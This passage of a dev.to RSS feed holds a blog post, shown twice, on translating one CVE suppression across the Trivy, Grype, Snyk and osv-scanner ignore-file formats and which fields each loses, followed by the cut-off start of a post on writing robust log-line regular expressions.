      <pubDate>Sat, 13 Jun 2026 08:26:39 +0000</pubDate>
      <link>https://dev.to/opscanopy/one-cve-four-ignore-files-unifying-trivy-grype-snyk-and-osv-scanner-4i0m</link>
      <guid>https://dev.to/opscanopy/one-cve-four-ignore-files-unifying-trivy-grype-snyk-and-osv-scanner-4i0m</guid>
      <description>&lt;p&gt;You triaged the CVE. A scanner flagged &lt;code&gt;CVE-2023-45853&lt;/code&gt; in zlib, you read the advisory, confirmed the vulnerable code path isn’t reachable from your image, and made the call: suppress it, with a reason and a review date. One decision.&lt;/p&gt;

&lt;p&gt;Now encode that one decision four times.&lt;/p&gt;

&lt;p&gt;If your pipeline runs more than one scanner — and plenty do, because Trivy, Grype, Snyk and osv-scanner each catch things the others miss — every accepted-risk suppression has to be written into every tool’s ignore file. Same CVE, same rationale, four different files with four different schemas, four different capabilities. Get one wrong and that scanner keeps failing the build (or worse, silently stops failing on something you never meant to ignore).&lt;/p&gt;

&lt;h2&gt;
  
  
  The same suppression, four ways
&lt;/h2&gt;

&lt;p&gt;Here’s the simplest version of that decision — “ignore &lt;code&gt;CVE-2023-45853&lt;/code&gt;” — in each format.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;.trivyignore&lt;/code&gt;&lt;/strong&gt; is a flat newline-delimited list. One ID per line, &lt;code&gt;#&lt;/code&gt; for comments:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# zlib MiniZip — not reachable from our build, re-review 2026-09-01
CVE-2023-45853
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;&lt;code&gt;.grype.yaml&lt;/code&gt;&lt;/strong&gt; uses a structured &lt;code&gt;ignore&lt;/code&gt; array of match rules. You can scope by vulnerability ID and, optionally, by package:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;ignore&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;vulnerability&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;CVE-2023-45853&lt;/span&gt;
    &lt;span class="c1"&gt;# zlib MiniZip — not reachable, re-review 2026-09-01&lt;/span&gt;
    &lt;span class="na"&gt;package&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;zlib&lt;/span&gt;
      &lt;span class="na"&gt;version&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;1.2.13&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;&lt;code&gt;.snyk&lt;/code&gt;&lt;/strong&gt; is Snyk’s policy file: a YAML map keyed by issue ID, where each entry is a list of path-scoped objects carrying &lt;code&gt;reason&lt;/code&gt; and &lt;code&gt;expires&lt;/code&gt; as first-class fields:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;version&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;v1.25.0&lt;/span&gt;
&lt;span class="na"&gt;ignore&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;CVE-2023-45853&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;*"&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;
        &lt;span class="na"&gt;reason&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;zlib MiniZip not reachable from our build&lt;/span&gt;
        &lt;span class="na"&gt;expires&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;2026-09-01T00:00:00.000Z&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;&lt;code&gt;osv-scanner.toml&lt;/code&gt;&lt;/strong&gt; uses a TOML &lt;code&gt;[[IgnoredVulns]]&lt;/code&gt; array of tables, with &lt;code&gt;id&lt;/code&gt;, &lt;code&gt;reason&lt;/code&gt; and an RFC&amp;nbsp;3339 &lt;code&gt;ignoreUntil&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight toml"&gt;&lt;code&gt;&lt;span class="nn"&gt;[[IgnoredVulns]]&lt;/span&gt;
&lt;span class="py"&gt;id&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"CVE-2023-45853"&lt;/span&gt;
&lt;span class="py"&gt;ignoreUntil&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="ld"&gt;2026-09-01T00:00:00Z&lt;/span&gt;
&lt;span class="py"&gt;reason&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"zlib MiniZip not reachable from our build"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Four files. The CVE ID is the only thing that survives verbatim across all of them.&lt;/p&gt;

&lt;h2&gt;
  
  
  What maps cleanly
&lt;/h2&gt;

&lt;p&gt;A handful of concepts are genuinely portable, and a converter can move them without loss:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The identifier.&lt;/strong&gt; A &lt;code&gt;CVE-…&lt;/code&gt; ID is a &lt;code&gt;CVE-…&lt;/code&gt; ID everywhere. The one wrinkle: osv-scanner is happiest with OSV IDs (&lt;code&gt;GHSA-…&lt;/code&gt;, &lt;code&gt;PYSEC-…&lt;/code&gt;) but accepts CVEs and resolves aliases, while the others are CVE-first. Most of the time the ID is a clean copy.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A reason string.&lt;/strong&gt; Grype, Snyk and osv-scanner all have somewhere to put “why.” Trivy historically did not — in a bare &lt;code&gt;.trivyignore&lt;/code&gt; the only home for a rationale is a &lt;code&gt;#&lt;/code&gt; comment on the line above, which no tool parses but every reviewer reads.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Expiry, in spirit.&lt;/strong&gt; Snyk’s &lt;code&gt;expires&lt;/code&gt; and osv-scanner’s &lt;code&gt;ignoreUntil&lt;/code&gt; are both real, enforced timestamps: once the date passes, the suppression lapses and the finding comes back. That’s the same idea, and it converts directly between the two.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What is lossy
&lt;/h2&gt;

&lt;p&gt;The interesting part is everything that &lt;em&gt;doesn’t&lt;/em&gt; round-trip. A converter has to be honest about these instead of silently dropping them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Expiry is asymmetric.&lt;/strong&gt; Snyk and osv-scanner enforce a date. Plain &lt;code&gt;.trivyignore&lt;/code&gt; has no expiry field at all — a suppression there is forever until someone deletes the line. (Trivy’s newer YAML ignore file supports a &lt;code&gt;statement&lt;/code&gt; and richer matching, but the classic &lt;code&gt;.trivyignore&lt;/code&gt; most repos still use does not.) Convert a Snyk ignore &lt;em&gt;with&lt;/em&gt; an expiry into &lt;code&gt;.trivyignore&lt;/code&gt; and that expiry can only survive as a comment — a note to a human, not a rule the scanner enforces. That is a real loss of safety, and it should be flagged, not hidden.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Package scope varies.&lt;/strong&gt; Grype lets you pin &lt;code&gt;package.name&lt;/code&gt; and &lt;code&gt;package.version&lt;/code&gt;, so the suppression only applies to that exact dependency. &lt;code&gt;.trivyignore&lt;/code&gt; (classic) keys purely on the vulnerability ID — it ignores that CVE &lt;em&gt;everywhere it appears in the scan&lt;/em&gt;, which is broader than you may have intended. Narrowing a Grype rule down to &lt;code&gt;.trivyignore&lt;/code&gt; widens the blast radius; you can’t express “only this package” in a flat ID list.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Path scope is mostly a Snyk idea.&lt;/strong&gt; Snyk’s &lt;code&gt;ignore&lt;/code&gt; entries are lists keyed by &lt;em&gt;path&lt;/em&gt; — the &lt;code&gt;"*"&lt;/code&gt; above means “everywhere,” but Snyk can also scope a suppression to a specific dependency path so it applies in one place and not another. None of Trivy, Grype or osv-scanner model path-level scope this way, so a path-scoped Snyk ignore flattens to “this CVE, project-wide” in the others. The intent (“only on this transitive path”) is gone.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reason has nowhere native to land in classic Trivy.&lt;/strong&gt; As above — converting &lt;em&gt;into&lt;/em&gt; &lt;code&gt;.trivyignore&lt;/code&gt; demotes a first-class reason to a comment. Converting &lt;em&gt;out of&lt;/em&gt; it, there’s usually no machine-readable reason to recover at all, only whatever a human left in a &lt;code&gt;#&lt;/code&gt; line.&lt;/p&gt;

&lt;p&gt;The pattern across all of these: converting toward a more expressive format is safe, and converting toward a flatter one quietly broadens scope and drops metadata. The only responsible way to do the flat conversion is to surface exactly what was lost so a human can decide whether the wider suppression is acceptable.&lt;/p&gt;

&lt;h2&gt;
  
  
  Do it once, emit four
&lt;/h2&gt;

&lt;p&gt;Maintaining four hand-written ignore files in lockstep is exactly the kind of repetitive, error-prone bookkeeping that should be mechanical. Describe a suppression once — ID, reason, expiry, package and path scope — and let a tool emit the correct shape for each scanner, with explicit warnings wherever a target format can’t hold a field.&lt;/p&gt;

&lt;p&gt;That’s what the &lt;strong&gt;CVE-Ignore Converter&lt;/strong&gt; does: paste any one of &lt;code&gt;.trivyignore&lt;/code&gt;, &lt;code&gt;.grype.yaml&lt;/code&gt;, &lt;code&gt;.snyk&lt;/code&gt; or &lt;code&gt;osv-scanner.toml&lt;/code&gt;, get the other three back, and see precisely which parts were lossy in the round-trip. It runs entirely in your browser — your suppression policy never leaves the page.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/cve-ignore-converter"&gt;Try the CVE-Ignore Converter →&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://opscanopy.com" rel="noopener noreferrer"&gt;OpsCanopy&lt;/a&gt;. Try it free, in your browser: &lt;a href="https://opscanopy.com/cve-ignore-converter" rel="noopener noreferrer"&gt;CVE-Ignore Converter&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>devops</category>
      <category>security</category>
      <category>vulnerabilities</category>
    </item>
    <item>
      <title>One CVE, four ignore files: unifying Trivy, Grype, Snyk and osv-scanner</title>
      <dc:creator>opscanopy</dc:creator>
      <pubDate>Sat, 13 Jun 2026 08:13:24 +0000</pubDate>
      <link>https://dev.to/opscanopy/one-cve-four-ignore-files-unifying-trivy-grype-snyk-and-osv-scanner-4m57</link>
      <guid>https://dev.to/opscanopy/one-cve-four-ignore-files-unifying-trivy-grype-snyk-and-osv-scanner-4m57</guid>
      <description>&lt;p&gt;You triaged the CVE. A scanner flagged &lt;code&gt;CVE-2023-45853&lt;/code&gt; in zlib, you read the advisory, confirmed the vulnerable code path isn’t reachable from your image, and made the call: suppress it, with a reason and a review date. One decision.&lt;/p&gt;

&lt;p&gt;Now encode that one decision four times.&lt;/p&gt;

&lt;p&gt;If your pipeline runs more than one scanner — and plenty do, because Trivy, Grype, Snyk and osv-scanner each catch things the others miss — every accepted-risk suppression has to be written into every tool’s ignore file. Same CVE, same rationale, four different files with four different schemas, four different capabilities. Get one wrong and that scanner keeps failing the build (or worse, silently stops failing on something you never meant to ignore).&lt;/p&gt;

&lt;h2&gt;
  
  
  The same suppression, four ways
&lt;/h2&gt;

&lt;p&gt;Here’s the simplest version of that decision — “ignore &lt;code&gt;CVE-2023-45853&lt;/code&gt;” — in each format.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;.trivyignore&lt;/code&gt;&lt;/strong&gt; is a flat newline-delimited list. One ID per line, &lt;code&gt;#&lt;/code&gt; for comments:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# zlib MiniZip — not reachable from our build, re-review 2026-09-01
CVE-2023-45853
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;&lt;code&gt;.grype.yaml&lt;/code&gt;&lt;/strong&gt; uses a structured &lt;code&gt;ignore&lt;/code&gt; array of match rules. You can scope by vulnerability ID and, optionally, by package:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;ignore&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;vulnerability&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;CVE-2023-45853&lt;/span&gt;
    &lt;span class="c1"&gt;# zlib MiniZip — not reachable, re-review 2026-09-01&lt;/span&gt;
    &lt;span class="na"&gt;package&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;zlib&lt;/span&gt;
      &lt;span class="na"&gt;version&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;1.2.13&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;&lt;code&gt;.snyk&lt;/code&gt;&lt;/strong&gt; is Snyk’s policy file: a YAML map keyed by issue ID, where each entry is a list of path-scoped objects carrying &lt;code&gt;reason&lt;/code&gt; and &lt;code&gt;expires&lt;/code&gt; as first-class fields:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;version&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;v1.25.0&lt;/span&gt;
&lt;span class="na"&gt;ignore&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;CVE-2023-45853&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;*"&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;
        &lt;span class="na"&gt;reason&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;zlib MiniZip not reachable from our build&lt;/span&gt;
        &lt;span class="na"&gt;expires&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;2026-09-01T00:00:00.000Z&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;&lt;code&gt;osv-scanner.toml&lt;/code&gt;&lt;/strong&gt; uses a TOML &lt;code&gt;[[IgnoredVulns]]&lt;/code&gt; array of tables, with &lt;code&gt;id&lt;/code&gt;, &lt;code&gt;reason&lt;/code&gt; and an RFC&amp;nbsp;3339 &lt;code&gt;ignoreUntil&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight toml"&gt;&lt;code&gt;&lt;span class="nn"&gt;[[IgnoredVulns]]&lt;/span&gt;
&lt;span class="py"&gt;id&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"CVE-2023-45853"&lt;/span&gt;
&lt;span class="py"&gt;ignoreUntil&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="ld"&gt;2026-09-01T00:00:00Z&lt;/span&gt;
&lt;span class="py"&gt;reason&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"zlib MiniZip not reachable from our build"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Four files. The CVE ID is the only thing that survives verbatim across all of them.&lt;/p&gt;

&lt;h2&gt;
  
  
  What maps cleanly
&lt;/h2&gt;

&lt;p&gt;A handful of concepts are genuinely portable, and a converter can move them without loss:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The identifier.&lt;/strong&gt; A &lt;code&gt;CVE-…&lt;/code&gt; ID is a &lt;code&gt;CVE-…&lt;/code&gt; ID everywhere. The one wrinkle: osv-scanner is happiest with OSV IDs (&lt;code&gt;GHSA-…&lt;/code&gt;, &lt;code&gt;PYSEC-…&lt;/code&gt;) but accepts CVEs and resolves aliases, while the others are CVE-first. Most of the time the ID is a clean copy.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A reason string.&lt;/strong&gt; Grype, Snyk and osv-scanner all have somewhere to put “why.” Trivy historically did not — in a bare &lt;code&gt;.trivyignore&lt;/code&gt; the only home for a rationale is a &lt;code&gt;#&lt;/code&gt; comment on the line above, which no tool parses but every reviewer reads.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Expiry, in spirit.&lt;/strong&gt; Snyk’s &lt;code&gt;expires&lt;/code&gt; and osv-scanner’s &lt;code&gt;ignoreUntil&lt;/code&gt; are both real, enforced timestamps: once the date passes, the suppression lapses and the finding comes back. That’s the same idea, and it converts directly between the two.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What is lossy
&lt;/h2&gt;

&lt;p&gt;The interesting part is everything that &lt;em&gt;doesn’t&lt;/em&gt; round-trip. A converter has to be honest about these instead of silently dropping them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Expiry is asymmetric.&lt;/strong&gt; Snyk and osv-scanner enforce a date. Plain &lt;code&gt;.trivyignore&lt;/code&gt; has no expiry field at all — a suppression there is forever until someone deletes the line. (Trivy’s newer YAML ignore file supports a &lt;code&gt;statement&lt;/code&gt; and richer matching, but the classic &lt;code&gt;.trivyignore&lt;/code&gt; most repos still use does not.) Convert a Snyk ignore &lt;em&gt;with&lt;/em&gt; an expiry into &lt;code&gt;.trivyignore&lt;/code&gt; and that expiry can only survive as a comment — a note to a human, not a rule the scanner enforces. That is a real loss of safety, and it should be flagged, not hidden.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Package scope varies.&lt;/strong&gt; Grype lets you pin &lt;code&gt;package.name&lt;/code&gt; and &lt;code&gt;package.version&lt;/code&gt;, so the suppression only applies to that exact dependency. &lt;code&gt;.trivyignore&lt;/code&gt; (classic) keys purely on the vulnerability ID — it ignores that CVE &lt;em&gt;everywhere it appears in the scan&lt;/em&gt;, which is broader than you may have intended. Narrowing a Grype rule down to &lt;code&gt;.trivyignore&lt;/code&gt; widens the blast radius; you can’t express “only this package” in a flat ID list.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Path scope is mostly a Snyk idea.&lt;/strong&gt; Snyk’s &lt;code&gt;ignore&lt;/code&gt; entries are lists keyed by &lt;em&gt;path&lt;/em&gt; — the &lt;code&gt;"*"&lt;/code&gt; above means “everywhere,” but Snyk can also scope a suppression to a specific dependency path so it applies in one place and not another. None of Trivy, Grype or osv-scanner model path-level scope this way, so a path-scoped Snyk ignore flattens to “this CVE, project-wide” in the others. The intent (“only on this transitive path”) is gone.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reason has nowhere native to land in classic Trivy.&lt;/strong&gt; As above — converting &lt;em&gt;into&lt;/em&gt; &lt;code&gt;.trivyignore&lt;/code&gt; demotes a first-class reason to a comment. Converting &lt;em&gt;out of&lt;/em&gt; it, there’s usually no machine-readable reason to recover at all, only whatever a human left in a &lt;code&gt;#&lt;/code&gt; line.&lt;/p&gt;

&lt;p&gt;The pattern across all of these: converting toward a more expressive format is safe, and converting toward a flatter one quietly broadens scope and drops metadata. The only responsible way to do the flat conversion is to surface exactly what was lost so a human can decide whether the wider suppression is acceptable.&lt;/p&gt;

&lt;h2&gt;
  
  
  Do it once, emit four
&lt;/h2&gt;

&lt;p&gt;Maintaining four hand-written ignore files in lockstep is exactly the kind of repetitive, error-prone bookkeeping that should be mechanical. Describe a suppression once — ID, reason, expiry, package and path scope — and let a tool emit the correct shape for each scanner, with explicit warnings wherever a target format can’t hold a field.&lt;/p&gt;

&lt;p&gt;That’s what the &lt;strong&gt;CVE-Ignore Converter&lt;/strong&gt; does: paste any one of &lt;code&gt;.trivyignore&lt;/code&gt;, &lt;code&gt;.grype.yaml&lt;/code&gt;, &lt;code&gt;.snyk&lt;/code&gt; or &lt;code&gt;osv-scanner.toml&lt;/code&gt;, get the other three back, and see precisely which parts were lossy in the round-trip. It runs entirely in your browser — your suppression policy never leaves the page.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/cve-ignore-converter"&gt;Try the CVE-Ignore Converter →&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://opscanopy.com" rel="noopener noreferrer"&gt;OpsCanopy&lt;/a&gt;. Try it free, in your browser: &lt;a href="https://opscanopy.com/cve-ignore-converter" rel="noopener noreferrer"&gt;CVE-Ignore Converter&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>devops</category>
      <category>security</category>
      <category>vulnerabilities</category>
      <category>tooling</category>
    </item>
    <item>
      <title>Writing robust regular expressions for log lines</title>
      <dc:creator>opscanopy</dc:creator>
      <pubDate>Sat, 13 Jun 2026 08:09:58 +0000</pubDate>
      <link>https://dev.to/opscanopy/writing-robust-regular-expressions-for-log-lines-269n</link>
      <guid>https://dev.to/opscanopy/writing-robust-regular-expressions-for-log-lines-269n</guid>
      <description>&lt;p&gt;A regular expression that parses a log line in your editor and a regular expression that survives a week of real traffic are rarely the same expression. Logs are noisier than the three sample lines you tested against: timestamps drift formats, fields go missing, an unescaped path sneaks a metacharacter into your pattern, and a &lt;code&gt;.*&lt;/code&gt; that looked harmless quietly eats half the line. This post walks through the techniques that make a log-line regex robust — and the failure modes that catch people out.&lt;/p&gt;

&lt;h2&gt;
  
  
  Start from the structure, not the example
&lt;/h2&gt;

&lt;p&gt;Most log lines are more structured than they look. Before reaching for &lt;code&gt;.*&lt;/code&gt;, name the fields you actually want and the literal text that separates them. A typical access-style line —&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;2026-06-08T10:14:22Z INFO  api request_id=8f3a method=GET path=/v1/users status=200 dur=42ms
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;— is a timestamp, a level, then a set of &lt;code&gt;key=value&lt;/code&gt; pairs. Match the shape directly instead of hoping a loose pattern lands on the right substring:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;^(?&amp;lt;ts&amp;gt;\S+)\s+(?&amp;lt;level&amp;gt;\w+)\s+.*\bstatus=(?&amp;lt;status&amp;gt;\d{3})\b
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here &lt;code&gt;\S+&lt;/code&gt; for the timestamp is deliberate: it matches the whole token without you having to encode every timestamp variant. &lt;code&gt;\bstatus=(?&amp;lt;status&amp;gt;\d{3})\b&lt;/code&gt; pins the field to a word boundary so it can’t accidentally match &lt;code&gt;http_status=&lt;/code&gt; or a status embedded in another token.&lt;/p&gt;

&lt;h2&gt;
  
  
  Anchor whenever you can
&lt;/h2&gt;

&lt;p&gt;An unanchored pattern is allowed to match anywhere in the line, which is both slower and more surprising. If a line should always begin with a timestamp, say so with &lt;code&gt;^&lt;/code&gt;. If you’re matching a whole line, anchor both ends with &lt;code&gt;^…$&lt;/code&gt;. Anchoring turns “find this somewhere” into “the line looks exactly like this,” which is usually what you mean — and it makes a non-matching line fail fast instead of backtracking through the whole string.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;^(?&amp;lt;ip&amp;gt;\d{1,3}(?:\.\d{1,3}){3})\s+\S+\s+\S+\s+\[(?&amp;lt;when&amp;gt;[^\]]+)\]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note &lt;code&gt;[^\]]+&lt;/code&gt; for the bracketed timestamp rather than &lt;code&gt;.+&lt;/code&gt;: a negated character class says “everything up to the closing bracket” without the greediness games described below.&lt;/p&gt;

&lt;h2&gt;
  
  
  Tame greediness with negated classes and lazy quantifiers
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;.*&lt;/code&gt; and &lt;code&gt;.+&lt;/code&gt; are greedy: they grab as much as possible, then give characters back only when forced. Across a long line with repeated delimiters, that backtracking is where both wrong matches and catastrophic slowdowns come from.&lt;/p&gt;

&lt;p&gt;Consider pulling the message out of a quoted field:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;msg="(?&amp;lt;msg&amp;gt;.*)"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On a line with two quoted fields, &lt;code&gt;.*&lt;/code&gt; matches across both, swallowing the closing quote of the first and the opening quote of the second. Two reliable fixes — prefer the first:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;msg="(?&amp;lt;msg&amp;gt;[^"]*)"     # negated class: stop at the next quote
msg="(?&amp;lt;msg&amp;gt;.*?)"       # lazy quantifier: as few chars as possible
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The negated class &lt;code&gt;[^"]*&lt;/code&gt; is usually faster and clearer than the lazy &lt;code&gt;.*?&lt;/code&gt; because it never has to backtrack — it simply can’t cross a quote in the first place. Reach for a negated character class before a lazy quantifier whenever a single delimiter ends the field.&lt;/p&gt;

&lt;h2&gt;
  
  
  Escape literal metacharacters
&lt;/h2&gt;

&lt;p&gt;Log lines are full of characters that mean something to a regex engine: &lt;code&gt;.&lt;/code&gt; in IPs and hostnames, &lt;code&gt;?&lt;/code&gt; and &lt;code&gt;+&lt;/code&gt; in URLs, &lt;code&gt;[&lt;/code&gt; &lt;code&gt;]&lt;/code&gt; in many timestamp formats, &lt;code&gt;(&lt;/code&gt; &lt;code&gt;)&lt;/code&gt; in stack traces. Matching them literally means escaping them.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;path=/v1/users\?page=2     # the ? is a literal query separator, not "optional"
\[ERROR\]                  # literal square brackets around the level
\(timeout\)                # literal parentheses, not a group
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A quick rule of thumb: if you’re copying a literal substring out of a real log line into your pattern, escape every &lt;code&gt;. ^ $ * + ? ( ) [ ] { } | \&lt;/code&gt; it contains. The cost of an unescaped &lt;code&gt;.&lt;/code&gt; is that it matches &lt;em&gt;any&lt;/em&gt; character, so &lt;code&gt;10.0.0.1&lt;/code&gt; will also match &lt;code&gt;10x0y0z1&lt;/code&gt; — rarely what you want when you’re trying to validate input.&lt;/p&gt;

&lt;h2&gt;
  
  
  Make optional fields actually optional
&lt;/h2&gt;

&lt;p&gt;Real logs drop fields. A request without a user is still a request, and your pattern shouldn’t fail on it. Wrap the variable part in a non-capturing group with &lt;code&gt;?&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;^(?&amp;lt;ts&amp;gt;\S+)\s+(?&amp;lt;level&amp;gt;\w+)(?:\s+user=(?&amp;lt;user&amp;gt;\S+))?\s+path=(?&amp;lt;path&amp;gt;\S+)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;(?:…)?&lt;/code&gt; makes the whole &lt;code&gt;user=&lt;/code&gt; clause optional without polluting your capture groups. Prefer non-capturing groups &lt;code&gt;(?:…)&lt;/code&gt; for grouping-only work so your numbered/named captures stay meaningful.&lt;/p&gt;

&lt;h2&gt;
  
  
  Prefer named groups, and know your flags
&lt;/h2&gt;

&lt;p&gt;Named groups (&lt;code&gt;(?&amp;lt;status&amp;gt;…)&lt;/code&gt;) read far better than &lt;code&gt;\1&lt;/code&gt;, &lt;code&gt;\2&lt;/code&gt; six months later, and they survive someone inserting a new group in the middle of the pattern. Two flags matter constantly for logs:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Case-insensitive&lt;/strong&gt; (&lt;code&gt;i&lt;/code&gt;): levels show up as &lt;code&gt;ERROR&lt;/code&gt;, &lt;code&gt;error&lt;/code&gt;, &lt;code&gt;Error&lt;/code&gt;. Match with &lt;code&gt;(?i)&lt;/code&gt; or the engine’s flag rather than spelling out &lt;code&gt;[Ee][Rr][Rr][Oo][Rr]&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
